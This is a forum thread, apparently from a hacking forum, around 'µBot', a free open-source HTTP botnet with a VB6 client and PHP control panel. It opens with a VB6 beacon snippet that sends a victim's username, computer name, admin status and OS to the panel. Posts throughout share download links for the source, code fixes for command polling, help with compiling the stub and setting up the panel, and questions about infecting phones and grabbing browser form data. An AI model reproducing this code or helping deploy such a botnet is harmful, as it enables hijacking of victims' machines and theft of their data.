objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") &  
"&admin=" & AmlAdmin & "&os=" & os & "&id=" & id) 'Send ID
```

```
Else
```

```
objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") &  
"&admin=" & AmlAdmin & "&os=" & os) 'Don't send ID, and retrieve new ID...
```

```
End If
```

```
strText = objHttp.ResponseText 'Response Text
```

Dre GT - September 5, 2012, 10:14 pm

\$pax - June 8, 2013, 11:15 am

it got removed, please reupload the files :)

and which webhost do u recommend for this??

Adzz - June 8, 2013, 10:23 pm

Files have been re-uploaded:

http://www.4shared.com/rar/PrBeKWUs/uBot_Sauce.html

I have discontinued support and updates for this project.

Since µBot, I have been wanting to develop a new bot, faster, more stable and more powerful than any other bot free or on the market. And I wanted to make it open source.

Initially I planned on developing Cloud.NET (before its temporary merger with Black Trinity), it was designed from the ground up, primarily using jQuery, HTML5, CSS3 and PHP. It was designed like some of the classic botnets, using a desktop like experience. We were close to completion but... I moved countries and due to the country being firewalled i stopped development, I did pick up the code here and again and was still in touch with my old development partner but i never really got back into development of it.

After a while we decided to start developing a new bot... "µBot v2" - it was looking amazing and some of the features we had planned were really gonna change security for botnets (sub panel support, encryption between bot and panel, ssl support and basic p2p support so that in the event of

main panel closure, all bots could be set to a new panel with a button press), however again, development slowed and ultimately stopped.

I do see myself redeveloping one of these bots and releasing it, but not at the moment... to much going on right now. All I can say is, keep an eye out, it'll come...

What about command task? What Variable: for Uninstall?

Deathbywar - October 17, 2013, 6:11 am

For all of those who are having issues with the Timer & getCommand.. add these 3 lines below "Dim keyword(4) As Variant" on Form1.frm

Code Dim panel As String

Dim intCount As Integer

Dim interval As Integer

Ardi22 - October 20, 2013, 11:24 am

thanks for this, but i have a question. How do I use the variable? And how do i use the "visit webpage (visible)"?

Thanks in advance! :)

back0to0life - January 6, 2014, 1:35 pm

any one help me please

i setup the panel and its ok.

and i compailed and its ok

but when i run the file it does not want connect.
i didnt get any bot in my panel

i didnt set the cornjob " is this important to show the bots "

waleedking - January 6, 2014, 3:43 pm

thanks alot great job and i wish that you keep up the good work i'm going to test it now

Penny10per - January 6, 2014, 4:49 pm

I like it, thank you. I must to setup it and to try how it works! :)

SexyFuk™ - January 6, 2014, 5:18 pm

What do I put for my panel, just my website link mywebsite.com
or something else

CCDB - January 7, 2014, 8:18 am

It is broken, I keep getting warnings from mysql so im not going to waste any more time on it.

'Ben - January 7, 2014, 8:35 am

How old are these screenshots?

There are thousands of Ben's in the world but the fact that it's called BEN-PC and is from the UK is making me worried :P

Mixu - January 14, 2014, 9:42 am

Oh god that PHP code... But hey, it's free, and even better open source. thankss.. ! :D

EDIT: Took a while to get rid of PHP errors (had to atleast convert mysql functions to corresponding mysqli functions) and the VB6 project to build but eventually got it working..

Swizy - January 14, 2014, 10:04 am

Hey this looks really cool. Thanks so much :)

James13371 - January 14, 2014, 9:47 pm

very nice, i like the thread and the design

Mixu - January 25, 2014, 2:49 am

What do you think of my take on the control panel?

Completely rewrote it using [Bootstrap](#) CSS framework for front end and [Laravel](#) PHP framework on the back end.

1337133tme - January 25, 2014, 10:01 am

When I logging im getting on 0,5second stats and white site ;<.

Tstevens46 - January 25, 2014, 10:25 am

Is it possible to infect a mobile device with this bot or any bot capable of this

Splexx - January 25, 2014, 1:04 pm

Thanks for this great share/tut.

Now I got 35 chars...

Mixu - January 25, 2014, 4:43 pm

(Jan 25, 2014 11:25 AM)Tstevens46 Wrote: [\[CITE\]](#) Is it possible to infect a mobile device with this bot or any bot capable of this

The client is coded in VB6 so you obviously can't infect mobile phones with it..

The server/control panel could however be used if you rewrote it for Android eg. yourself (it basically just sends POST requests including data about you to the panel which then returns corresponding command in format: commanf[parameters])

MickyCOB - January 27, 2014, 7:34 pm

Thanks alot for the share man been wanting 2 get into HTTP bots!!

hasadya - January 28, 2014, 2:44 am

Thank you this is great work
will try it now

Parsons - June 5, 2014, 10:44 am

Why my tasks tab is getting me an error 404 on task.ph. As ive looked into the FTP i dont saw any task file, how to enable tasks then?

GnScruffy - June 9, 2014, 7:58 pm

great post very helpful to new guys

Lorde - June 10, 2014, 4:16 pm

Thanks for the share man appreciate it!

Dedication007 - June 10, 2014, 4:44 pm

yes thanks for the great share mate, now need a webhost to hook this up

Mc_Filip - June 28, 2014, 4:11 am

Looks like: <http://prntscr.com/3xberh>

dAMOWN - June 28, 2014, 8:38 am

Im having troubles getting that VB6 project to exe: <http://prntscr.com/3xdeew>

Any fix? What am I doing bad here?

TheSonOfTheDevil - June 28, 2014, 10:33 am

Ubot is VB6 Not visual studio 2008 o.o

albanskaglh - June 28, 2014, 10:37 am

Hi guys do this vb6 files need to be compile ? with visual studio 6.0??? if yes
could anybody please provide me a link to download and a serial key ? thanks in advance.

dAMOWN - June 28, 2014, 10:38 am

(Jun 28, 2014 10:33 AM)MaiyaPrincess Wrote: [\[CITE\]](#) Ubot is VB6 Not visual studio 2008 o.o

Well yea, but the only thing I found was VS08 when I searched for vb6.. :/ I though it would work

Lacnia - June 30, 2014, 5:03 am

It's really stable ? :o Because it seem a good botnet, i will try it :D thanks !

delta_789 - July 4, 2014, 12:14 am

How does the download & execute function work? What do you put in the variable field?

Zinedine Zidane - July 4, 2014, 3:22 am

Good job man, I tried the Botnet the stability is amazing

I3lack - July 10, 2014, 2:24 pm

Im sorry im asking this question. >.< But This is a botnet correct lol

Im sorry about the post...I read through the first page, and didnt see anything about some one saying a botnet. Now i know it is thanks.

jcbullet - July 15, 2014, 9:37 am

Ok ive started revamping this bot but i seem to have an issue with the commands, For one, It doesnt seem to actually run any commands, The client connects fine and will show disconnected but will not receive any commands what so ever,

Could anyone help me with the source atall?
Has anyone got Addz email or similiar?

Much love

J

rafale-hack - July 22, 2014, 4:04 am

Thanks for your great sharing !!!!!

FalconsG33k - July 23, 2014, 9:31 am

thanks i would really try it
thanks in advance

.Zink - August 15, 2014, 9:52 pm

Sorry for GraveDigging, though if you're still looking into this HTTP Bot, then this thread might help you: <https://hackforums.net/showthread.php?tid=2105696>

Reagan - September 29, 2014, 2:40 am

the outpout .exe don't work, when i open the .exe i am not in the botlist

Rainb?w Dash - September 29, 2014, 1:12 pm

(Sep 29, 2014 02:40 AM)Reagan Wrote: [\[CITE\]](#) the outpout .exe don't work, when i open the .exe i am not in the botlist

Yeah no fuckin shit its from like 2011 lel its well past detected!

Mr. Escrow - September 29, 2014, 4:08 pm

I must be blind, I only see 4shared in the OP

faucheur21 - October 1, 2014, 5:43 am

hi, thx for share

i have little error of panel

<http://prntscr.com/4s1fvz>

GhostProtocol - January 20, 2015, 9:23 am

I'm an PHP Developer i will download the source soon pm me in a few days jcbullet

(Jan 20, 2015 10:23 AM)sgroenlandd Wrote: [\[CITE\]](#) I'm an PHP Developer i will download the source soon pm me in a few days jcbullet

Sorry didnt notice thread age... So my apologies

Danger Dolan - February 13, 2015, 11:10 pm

How do I make the stub, im confused on that part lol

Killertip - May 10, 2015, 2:08 am

For Some Reason It Showed Errors And array tags everywhere i fixed thanks for the botnet :*

phyViolence - May 10, 2015, 4:26 am

This bot is almost as old as me.

king1245 - May 14, 2015, 10:13 am

good share, keep it up !!!!!

Nicholas Dru - May 24, 2015, 11:15 am

Hi, How can I setup the VB6 panel ?

hackernam - May 24, 2015, 10:10 pm

thanks guy so much ! love love love

CobraEffect - May 30, 2015, 9:30 am

Nice Sharing + But its old

T4ka - September 1, 2015, 3:57 pm

Hello Adzz, do you have skype? i need discute with you for a custom software...

Kinds regards,

ToeCrusher - September 1, 2015, 11:53 pm

does it have form grabber to get the autofilled stuff from the browser?

DamienVC - September 2, 2015, 5:01 am

(Sep 1, 2015 11:53 PM)RKO@ir Wrote: [\[CITE\]](#) does it have form grabber to get the autofilled stuff from the browser?

It isnt mentioned onthread, so I assume no. It doesnt have a formgrabber

pety55 - September 2, 2015, 8:45 am

I stuck on vb6 compile, error library missing!?! . I read all posts no one post solution wtf?

- Messenger API Type Library are missing from the list, you can see that from references list
MISSING: Messenger API Type Library

In order to compile project as exe file u should install Messenger Live, because messenger have that type of library, WTH!?! messenger have with this ubot?

It brings me inspect whole strings and exutables in these files. I'll post everything here.

So if u have problem: Compile error missing library u should download Windows essentials and press that u want chose with app u want!, After that select "Windows Live Messengar".

And i really don't know why these such people who relased this out didn't yet recognized that most of people have this problem, and not relased solution to fix it, in some posts i read that they only can help with teamviwer. If u alredy fixed it for some people why u didn't post the solution here?.

Anyway i'll test everything, thank you.

After checking source codes, i can tell it's not perfectlly coded. ?
not stable bot as well.

mauricioscova - September 5, 2015, 7:12 pm

nice man, I 'm going to study this code thx

rawachraf - October 21, 2015, 3:11 am

thanks thanks thanks thanks thanks thanks Broooooo

wargof - January 16, 2016, 11:27 am

You can ré-upload the botnet ? The link is down :/

korsangazi - January 16, 2016, 2:38 pm

Very nice release. Thankyou for this bro.

optyczny - January 19, 2016, 11:16 am

Very nice release. Thankyou for this bro.

Is open source added what you need yourself. ;)

Business Database - February 27, 2016, 6:24 am

No not in the general sense of a different IDE but in the sense of using VB.Net as a IDE yes since VB.Net has dependancys.

Kalon - May 4, 2016, 8:18 pm

anyone got a link for this i want to learn to make bottnets

gooby2 - May 26, 2016, 1:47 pm

friendly people gonna nig (uploaders don't re-upload it;
<http://www.mediafire.com/download/vkqg2zgwonr78l9/uBot+Sauce.rar>

dude6258 - September 5, 2016, 1:53 pm

Was the last link, the link to the source code, because many of them were broken. I want to download it because I want to learn more of botnets. Maybe some of u can send me the URL.

Mr.Dark - September 5, 2016, 2:11 pm

Thx! This is really cool. Time for an analysis.
